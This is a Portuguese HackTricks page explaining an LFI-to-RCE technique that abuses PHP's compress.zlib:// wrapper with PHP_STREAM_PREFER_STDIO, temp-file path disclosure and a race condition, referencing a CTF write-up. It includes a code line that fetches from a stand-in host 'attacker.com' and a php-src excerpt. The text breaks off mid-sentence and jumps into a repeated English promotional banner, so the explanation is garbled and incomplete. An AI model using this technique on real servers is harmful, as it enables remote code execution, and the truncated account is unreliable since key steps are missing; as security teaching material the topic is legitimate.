# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ### `compress.zlib://` e `PHP_STREAM_PREFER_STDIO` Um arquivo aberto usando o protocolo `compress.zlib://` com a flag `PHP_STREAM_PREFER_STDIO` pode continuar escrevendo dados que chegam à conexão posteriormente para o mesmo arquivo. Isso significa que uma chamada como: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` Enviar uma solicitação pedindo http://attacker.com/file, então o servidor pode responder à solicitação com uma resposta HTTP válida, manter a conexão aberta e enviar dados extras algum tempo depois que também serão gravados no arquivo. Você pode ver essa informação nesta parte do código php-src em main/streams/cast.c: ```c /* Use a tmpfile and copy the old streams contents into it */ if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_fopen_tmpfile(); } else { *newstream = php_stream_temp_new(); } ``` ### Condição de Corrida para RCE [**Este CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) foi resolvido usando o truque anterior. O atacante fará com que o **servidor vítima abra uma conexão lendo um arquivo do servidor do atacante** usando o protocolo **`compress.zlib`**. **Enquanto** essa **conexão** existir, o atacante irá **exfiltrar o caminho** para o arquivo temporário criado (ele é vazado pelo servidor). **Enquanto** a **conexão** ainda estiver aberta, o atacante irá **explorar um LFI carregando o arquivo temporário** que ele controla. No entanto, há uma verificação no servidor web que **impede o carregamento de arquivos que contêm `[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}